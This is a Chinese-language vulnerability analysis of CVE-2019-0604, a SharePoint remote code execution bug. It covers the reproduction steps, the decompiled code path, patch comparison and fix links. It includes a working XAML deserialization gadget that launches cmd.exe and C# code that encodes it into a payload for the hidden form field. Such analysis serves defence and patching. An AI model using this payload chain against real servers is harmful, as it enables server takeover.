CVE-2019-0604 SharePoint RCE 漏洞分析

漏洞编号

CVE-2019-0604

漏洞简介

SharePoint是微软的一款团队协作解决方案,用于团队间共享和管理内容和知识。它使用ASP.NET开发,后端数据库使用Microsoft SQL Server。

该漏洞可造成Windows系统服务器的远程命令执行,有可能完全控制服务器。

攻击者可将精心构造的请求通过ItemPicker WebForm控件传入后端EntityInstanceIdEncoder.DecodeEntityInstanceId(encodedId)方法中,因为方法没有对传入的encodedId进行任何处理,也没有对XmlSerializer构造函数的类型参数进行限制,可直接通过XmlSerializer反序列化,造成命令执行。

漏洞影响

  • Microsoft SharePoint Server 2019
  • Microsoft SharePoint Enterprise Server 2016
  • Microsoft SharePoint Foundation 2013 Service Pack 1
  • Microsoft SharePoint Server 2010 Service Pack 2

利用条件

  1. 要利用该漏洞,需要授权访问 sharepoint提供的管理网页,授权账户可以是一个域账户。

环境搭建

  • Windows server 2016
  • ASP.NET相关组件
  • Microsoft SQL Server
  • SharePoint Server

安装SharePoint前可以先运行prerequisiteinstaller 安装SharePoint必备的组件,然后安装Microsoft SQL Server,配置好账户。如果在单机上搭建SharePoint需要在此时将服务器切换为域控服务器,然后再建立域账号安装和部署SharePoint。本地账号不符合SharePoint的部署要求。

漏洞复现

环境搭建完成后,访问SharePoint管理网站,可看到登录提示:


用事先创建好的SharePoint账号登录:

然后在地址栏输入下面URL:

http://<Your SharePoint Domin Or IP>:<Your SharePoint Port>/_layouts/15/Picker.aspx?PickerDialogType=<Your Microsoft.SharePoint.WebControls.ItemPickerDialog's assembly qualified name>

这里需要注意的是,URL中的 PickerDialogType 参数需要替换为Microsoft.SharePoint.WebControls.ItemPickerDialog控件的程序集限定名。可以通过在相同的SharePoint环境中查看ItemPickerDialogWebForm控件的元数据或通过C#代码:System.Console.WriteLine(typeof(Microsoft.SharePoint.WebControls.ItemPickerDialog).AssemblyQualifiedName.ToString())输出。

我的元数据如下:

所以我的PickerDialogType参数是Microsoft.SharePoint.WebControls.ItemPickerDialog,+Microsoft.SharePoint,+Version=16.0.0.0,+Culture=neutral,+PublicKeyToken=71e9bce111e9429c

如果PickerDialogType参数不正确,会报错如下:

参数正确后可看到如下页面:

此页面是ASP.NET表单的WebForm页面,查看源代码可以找到Payload加载点:

<input name="ctl00$PlaceHolderDialogBodySection$ctl05$hiddenSpanData" type="hidden" id="ctl00_PlaceHolderDialogBodySection_ctl05_hiddenSpanData" value="&amp;#160;">

input 的值(ASP.NET 中的HiddenField控件)会随着WebForm的提交传入后端。但因为ASP.NET的验证机制,此页面加载后并没有内容,因此修改这个inputvalue触发__doPostBack()是不会把修改后的数据传入后端的,用burpsuite抓包后发现传入后端的还是原始数据。这时需要想办法修改数据包将Payload传入后端。

又因为SharePoint通过NTLM验证,直接通过burpsuite改包再发送给服务器会验证失效,需要配置burpsuite的验证设置。

通过User options——Connections——Platform Authentication配置NTLM验证如下:

然后再拦包,修改POST参数ctl00%24PlaceHolderDialogBodySection%24ctl05%24hiddenSpanData的值为Payload:

即可触发漏洞。此时会在目标服务器中以SharePoint启动所使用的账户执行Payload,因此通过远程桌面可能看不到运行结果,但可以在进程管理器中看到。执行效果如下:

漏洞分析

分析此漏洞需要使用反编译工具,我使用的是ILSpy。打开反编译工具加载SharePoint.dll搜索入口ItemPickerDialog,通过分析它的构造函数,发现其调用了父类的构造函数,传参如下:

进入父类PickerDialog中,看构造函数:

其中EntityEditorWithPicker也是一个WebForm控件,说明在这里传入了一个EntityEditorWithPicker的子类ItemPicker,跟入ItemPicker可看到ItemPicker确实继承自EntityEditorWithPickerEntityEditorWithPicker又继承自EntityEditor

EntityEditor实现了接口:IPostBackDataHandlerICallbackEventHandler,根据WebForm控件的生命周期,在页面中有事件触发__doPostBack()后,先调用通过ICallbackEventHandler实现的RaiseCallbackEvent()方法和GetCallbackResult()方法得到表单内容,再调用通过IPostBackDataHandler实现的LoadPostData()方法。

回到EntityEditor中看GetCallbackResult()方法中调用了InvokeCallbackEvent()方法,InvokeCallbackEvent()方法调用了ParseSpanData()方法:

来到ParseSpanData()中可以看出这里把表单提交的数据进行了处理。此处逻辑非常复杂,我们只跟对HiddenSpanData的处理:

可发现此方法将HiddenSpanData的值放入了PickerEntity的List中,在经过一些处理分割成数组,遍历数组,新建PickerEntity对象pickerEntity2,将其值放入pickerEntity2.Key中,最终放入arrayList中并赋值给类成员变量m_listOrderTemp:

回到LoadPostData()方法看对m_listOrderTemp成员变量的处理,可看到在这里遍历了m_listOrderTemp成员变量的值并将其加进m_listRevalidation成员变量中,然后迭代进行Validate()操作:

Validate()方法中,将m_listOrderTemp成员变量赋值给m_listOrder成员变量:

然后遍历Entities的值调用ValidateEntity()方法:

Entities的值来自于上面的一行很不起眼的Lambda表达式方法,此方法将返回m_listOrder成员变量的值:

跟到ValidateEntity()方法发现是虚方法,因此去子类找方法的重写。

来到EntityEditorWithPicker类中看到了ValidateEntity() 方法的重写,发现其将PickerEntitykey(pe.Key)传入了Microsoft.SharePoint.BusinessData.Infrastructure.EntityInstanceIdEncoder.DecodeEntityInstanceId()中。

进入DecodeEntityInstanceId() 方法发现反序列化,并且XmlSerializer构造函数的类型参数可控。

.NET中XmlSerializer反序列化漏洞触发原理不再赘述,可参考360云影实验室的文章:.NET高级代码审计(第一课)XmlSerializer反序列化漏洞

PoC

在漏洞分析时,我们在EntityInstanceIdEncoder类中看到另一个方法EncodeEntityInstanceId(),可以直接使用它生成Payload。

构造XML:

<ResourceDictionary
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:System="clr-namespace:System;assembly=mscorlib"
xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system">
    <ObjectDataProvider x:Key="LaunchCalch" ObjectType="{x:Type Diag:Process}" MethodName="Start">
        <ObjectDataProvider.MethodParameters>
            <System:String>cmd.exe</System:String>
            <System:String>/c calc.exe</System:String>
        </ObjectDataProvider.MethodParameters>
    </ObjectDataProvider>
</ResourceDictionary>

生成Payload:

namespace ConsoleApplication1
{
    class Program
    {
        static void Main(string[] args)
        {
            object[] objs = new object[1];
            objs[0] = Payload("<Path To Xml File>");
            string payload = Microsoft.SharePoint.BusinessData.Infrastructure.EntityInstanceIdEncoder.EncodeEntityInstanceId(objs);
            System.Console.WriteLine(payload);
            System.Console.ReadKey();
        }

        public static object Payload(string filepath)
        {
            ExpandedWrapper<XamlReader, ObjectDataProvider> eobj = new ExpandedWrapper<XamlReader, ObjectDataProvider>();
            eobj.ProjectedProperty0 = new ObjectDataProvider();
            eobj.ProjectedProperty0.ObjectInstance = new XamlReader();
            eobj.ProjectedProperty0.MethodName = "Parse";
            eobj.ProjectedProperty0.MethodParameters.Add(File.ReadAllText(filepath));
            return eobj;
        }
    }
}

生成Payload时会弹出一次计算器,关掉即可。

PoC:

Microsoft.SharePoint.BusinessData.Infrastructure.EntityInstanceIdEncoder.DecodeEntityInstanceId("<Your Payload String>");

补丁分析

安装补丁KB4462211后再次反编译,对比DecodeEntityInstanceId()方法的源码,发现已经不再支持对象类型的反序列化。

修复建议

  • Microsoft SharePoint Enterprise Server 2016 需要打补丁:Security Update for Microsoft SharePoint Enterprise Server 2016 (KB4462211) https://www.microsoft.com/en-us/download/details.aspx?id=58072
  • Microsoft SharePoint Foundation 2013 Service Pack 1 需要打补丁:Security Update for Microsoft SharePoint Enterprise Server 2013 (KB4462202) https://www.microsoft.com/en-us/download/details.aspx?id=58063
  • Microsoft SharePoint Server 2010 Service Pack 2 需要打补丁:Security Update for 2010 Microsoft Business Productivity Servers (KB4462184) https://www.microsoft.com/en-us/download/details.aspx?id=58066
  • Microsoft SharePoint Server 2019 需要打补丁:Security Update for Microsoft SharePoint Server 2019 Core (KB4462199) https://www.microsoft.com/en-us/download/details.aspx?id=58061

参考

  • https://www.thezdi.com/blog/2019/3/13/cve-2019-0604-details-of-a-microsoft-sharepoint-rce-vulnerability
  • https://www.anquanke.com/post/id/172316
Comments
Write a Comment